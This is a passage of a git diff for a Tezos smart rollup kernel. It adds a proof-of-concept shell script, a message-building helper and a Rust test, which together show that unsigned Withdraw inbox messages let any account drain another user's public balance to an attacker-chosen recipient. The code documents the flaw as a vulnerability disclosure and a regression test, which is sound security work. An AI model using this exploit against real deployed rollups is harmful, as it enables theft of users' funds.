data["cryptobox_parameters"]["slot_size"])' + ) + prepare_dal_chunks "${payload_file}" "${slot_size}" "${number_of_slots}" + + local pointer_args=() + while IFS=$'\t' read -r slot_index chunk_len chunk_path; do + local publish_json_file commitment commitment_proof published_level + publish_json_file="$(mktemp "${WORKDIR}/dal-publish.XXXXXX.json")" + post_dal_chunk "${slot_index}" "${chunk_path}" "${publish_json_file}" + mapfile -t publish_fields < <(python3 -c ' +import json, sys +data = json.load(sys.stdin) +print(data["commitment"]) +print(data["commitment_proof"]) +' < "${publish_json_file}") + commitment="${publish_fields[0]}" + commitment_proof="${publish_fields[1]}" + published_level="$(publish_dal_commitment_and_bake "${commitment}" "${slot_index}" "${commitment_proof}")" + await_dal_attested "${published_level}" "${slot_index}" + pointer_args+=("${published_level}" "${slot_index}" "${chunk_len}") + done < "${DAL_CHUNKS_FILE}" + + local message_hex + message_hex="$("${ROOT}/target/debug/octez_kernel_message" dal-pointer "${rollup_address}" "${kind}" "${payload_hash}" "${payload_len}" "${pointer_args[@]}")" + octez-client -d "${CLIENT_DIR}" -E "${NODE_ENDPOINT}" -p "${ALPHA_HASH}" -w none \ + send smart rollup message "hex:[ \"${message_hex}\" ]" from operator >/dev/null + bake_block with-dal +} + +publish_shield_via_dal_and_inject_pointer() { + publish_payload_via_dal_and_inject_pointer shield "$@" +} + +main() { + prepare_client_material + init_node + start_node + activate_alpha + build_kernel_and_tools + + local attester_profiles + attester_profiles="$(printf '%s,%s,%s,%s,%s' \ + "$(bootstrap_public_key_hash bootstrap1)" \ + "$(bootstrap_public_key_hash bootstrap2)" \ + "$(bootstrap_public_key_hash bootstrap3)" \ + "$(bootstrap_public_key_hash bootstrap4)" \ + "$(bootstrap_public_key_hash bootstrap5)")" + + start_dal_node "${attester_profiles}" + + local rollup_address ticketer_address + rollup_address="$(originate_rollup)" + ticketer_address="$(originate_ticketer)" + start_rollup_node "${rollup_address}" + local fixture_fields + fixture_fields="$(extract_fixture_fields "$(fixture_metadata)")" + mapfile -t fixture_lines <<<"${fixture_fields}" + local auth_domain_hex shield_hash_hex transfer_hash_hex unshield_hash_hex shield_sender shield_bridge_deposit + auth_domain_hex="${fixture_lines[0]}" + shield_hash_hex="${fixture_lines[1]}" + transfer_hash_hex="${fixture_lines[2]}" + unshield_hash_hex="${fixture_lines[3]}" + shield_sender="${fixture_lines[4]}" + # `apply_shield` debits `v + fee + producer_fee` from the sender's public + # balance, not just `v`. The fixture-message binary exposes the total + # under `shield_bridge_deposit`; the sandbox uses that to size the bridge + # deposit so the post-shield balance lands at zero. + shield_bridge_deposit="${fixture_lines[5]}" + + send_configure_verifier_message "${rollup_address}" "${auth_domain_hex}" "${shield_hash_hex}" "${transfer_hash_hex}" "${unshield_hash_hex}" + send_configure_bridge_message "${rollup_address}" "${ticketer_address}" + await_bridge_ticketer "${ticketer_address}" + + deposit_to_bridge "${ticketer_address}" "${rollup_address}" "${shield_sender}" "${shield_bridge_deposit}" + + local balance_key + balance_key="/tzel/v1/state/balances/by-key/$(printf '%s' "${shield_sender}" | xxd -ps -c 0 | tr -d '\n')" + await_rollup_u64 "${balance_key}" "${shield_bridge_deposit}" "public bridge balance" + + # ============================================================ + # ATTACK PoC: a non-operator tz1 (bootstrap2) submits a Withdraw + # inbox message with sender = "alice" to drain alice's balance + # to an arbitrary attacker recipient. Demonstrates that: + # - No signature is required (KernelWithdrawReq has 3 strings) + # - The operator bearer token plays no role here (we inject + # directly via `send smart rollup message`, signed by + # bootstrap2 which is NOT the operator) + # - The kernel accepts the message and drains alice. + # ============================================================ + echo "==========================================================" + echo "ATTACK: alice (${shield_sender}) has ${shield_bridge_deposit} mutez public balance" + echo "ATTACK: bootstrap2 (NOT operator) injects Withdraw targeting alice" + echo "==========================================================" + + local attack_recipient="tz1gjaF81ZRRvdzjobyfVNsAeSC6PScjfQwN" # bootstrap2 (valid tz1) + local attack_hex + attack_hex="$("${ROOT}/target/debug/octez_kernel_message" withdraw \ + "${rollup_address}" "${shield_sender}" "${attack_recipient}" "${shield_bridge_deposit}")" + echo "ATTACK: withdraw message hex (${#attack_hex} chars):" + echo "${attack_hex}" + + # Key move: submit from bootstrap2, NOT operator. No bearer token, no operator API. + octez-client -d "${CLIENT_DIR}" -E "${NODE_ENDPOINT}" -p "${ALPHA_HASH}" -w none \ + send smart rollup message "hex:[ \"${attack_hex}\" ]" from bootstrap2 >/dev/null + bake_block with-dal + + echo "ATTACK: message injected by bootstrap2; waiting for kernel to process..." + if await_rollup_u64 "${balance_key}" "0" "POST-ATTACK alice balance drained"; then + echo "==========================================================" + echo "VULNERABILITY CONFIRMED: alice's ${shield_bridge_deposit} mutez was drained" + echo "by a withdraw message signed by bootstrap2 (not operator)." + echo "No bearer token was needed. No proof was needed." + echo "==========================================================" + exit 0 + else + echo "UNEXPECTED: alice's balance was NOT drained. Attack failed." + echo "This means my analysis was wrong — there IS some auth I missed." + exit 1 + fi +} + +main "$@" diff --git a/tezos/rollup-kernel/src/bin/octez_kernel_message.rs b/tezos/rollup-kernel/src/bin/octez_kernel_message.rs index 22162e5..d024c17 100644 --- a/tezos/rollup-kernel/src/bin/octez_kernel_message.rs +++ b/tezos/rollup-kernel/src/bin/octez_kernel_message.rs @@ -8,7 +8,7 @@ use tzel_core::{ kernel_wire::{ encode_kernel_inbox_message, sign_kernel_bridge_config, sign_kernel_verifier_config, KernelBridgeConfig, KernelDalChunkPointer, KernelDalPayloadKind, KernelDalPayloadPointer, - KernelInboxMessage, KernelVerifierConfig, + KernelInboxMessage, KernelVerifierConfig, KernelWithdrawReq, }, ProgramHashes, F, }; @@ -79,6 +79,26 @@ fn main() { }; match cmd.as_str() { + "withdraw" => { + // POC HELPER: emit a framed Withdraw KernelInboxMessage. + // No signature, no proof — the kernel accepts any Withdraw + // and writes an outbox message crediting `recipient` with + // `amount` from the public balance of `sender`. + let Some(rollup_address) = args.next() else { usage(); }; + let Some(sender) = args.next() else { usage(); }; + let Some(recipient) = args.next() else { usage(); }; + let Some(amount) = args.next() else { usage(); }; + if args.next().is_some() { usage(); } + let amount = amount.parse::().expect("amount should parse as u64"); + emit_targeted_message( + &rollup_address, + &KernelInboxMessage::Withdraw(KernelWithdrawReq { + sender, + recipient, + amount, + }), + ); + } "admin-material" => { if args.next().is_some() { usage(); diff --git a/tezos/rollup-kernel/tests/bridge_flow.rs b/tezos/rollup-kernel/tests/bridge_flow.rs index 4fa4349..96bf83a 100644 --- a/tezos/rollup-kernel/tests/bridge_flow.rs +++ b/tezos/rollup-kernel/tests/bridge_flow.rs @@ -881,3 +881,107 @@ fn sample_l1_source() -> PublicKeyHash { fn sample_rollup_address() -> SmartRollupAddress { SmartRollupAddress::from_b58check("sr1UNDWPUYVeomgG15wn5jSw689EJ4RNnVQa").unwrap() } + +// ============================================================================ +// PoC: `KernelInboxMessage::Withdraw` has no on-chain authentication of the +// `sender` public account. Anyone who can produce an external inbox message +// addressed to the rollup (i.e., anyone with a Tezos L1 account and enough +// gas to pay for `send smart rollup message`) can drain any known +// `public_account` to a recipient they control. +// +// This test DOCUMENTS the gap by constructing exactly that attack and +// asserting that the kernel accepts it. If a future change adds sender +// authentication to the withdraw path, this test SHOULD fail, and its +// assertions must be flipped (expected: `KernelResult` = error, balance +// unchanged) — at which point the test becomes a regression trap against +// accidentally removing the auth. +// +// See `docs/analysis/withdraw-auth-gap.md` for the full analysis, the +// operator-side code path, and the sandbox-level reproduction at +// `scripts/sandbox_withdraw_auth_bypass_poc.sh`. +// ============================================================================ + +#[test] +fn withdraw_poc_drains_unauthorized_sender() { + let victim = "alice"; + let victim_balance: u64 = 500_001; + let attacker_recipient = sample_l1_receiver(); // any valid tz1 / KT1 the attacker controls + + // 1. Legitimate setup: configure the bridge ticketer so withdraws can emit + // outbox messages. + let mut host = TestHost::default(); + host.push_input( + 0, + 0, + encode_external_kernel_message(signed_bridge_message(KernelBridgeConfig { + ticketer: sample_ticketer().into(), + })), + ); + run_with_host(&mut host); + assert!(matches!( + read_last_result(&host).unwrap(), + KernelResult::Configured + )); + + // 2. Legitimate deposit: the victim's public balance is credited via the + // bridge (L1 tz1 → bridge KT1 → rollup ticket → kernel credit). + host.push_input( + 1, + 0, + encode_ticket_deposit_message(victim, victim_balance), + ); + run_with_host(&mut host); + assert_eq!( + read_ledger(&host).unwrap().balances.get(victim), + Some(&victim_balance), + "precondition: victim has the expected public balance" + ); + + // 3. ATTACK: a third party — not the victim, not the operator, not holding + // any bearer token — constructs a Withdraw message with + // `sender = victim` and `recipient = attacker_tz1`. The message is + // submitted as a normal external inbox message. The kernel has no + // notion of "who signed the L1 tx that carried this inbox message" + // (that information is not propagated to the PVM), and the + // `KernelWithdrawReq` struct has no signature, no proof, nothing that + // could bind the withdraw to the actual owner of `victim`. + let attack_msg = + encode_external_kernel_message(KernelInboxMessage::Withdraw(KernelWithdrawReq { + sender: victim.into(), + recipient: attacker_recipient.into(), + amount: victim_balance, + })); + host.push_input(2, 0, attack_msg); + run_with_host(&mut host); + + // 4. Assert the drain succeeded. If authentication is ever added and + // this test breaks, that is correct behaviour — update the assertions + // to expect a rejection. + match read_last_result(&host).unwrap() { + KernelResult::Withdraw(resp) => { + assert_eq!(resp.withdrawal_index, 0); + } + other => panic!( + "auth gap no longer holds: expected successful Withdraw \ + but kernel returned {:?}. Update this test.", + other + ), + } + assert_eq!( + read_ledger(&host) + .unwrap() + .balances + .get(victim) + .copied() + .unwrap_or(0), + 0, + "victim's public balance was drained to zero by an unauthorized caller" + ); + assert_eq!(host.outputs.len(), 1, "one outbox message was emitted"); + assert_outbox_withdrawal( + &host.outputs[0], + sample_ticketer(), + attacker_recipient, + victim_balance, + ); +}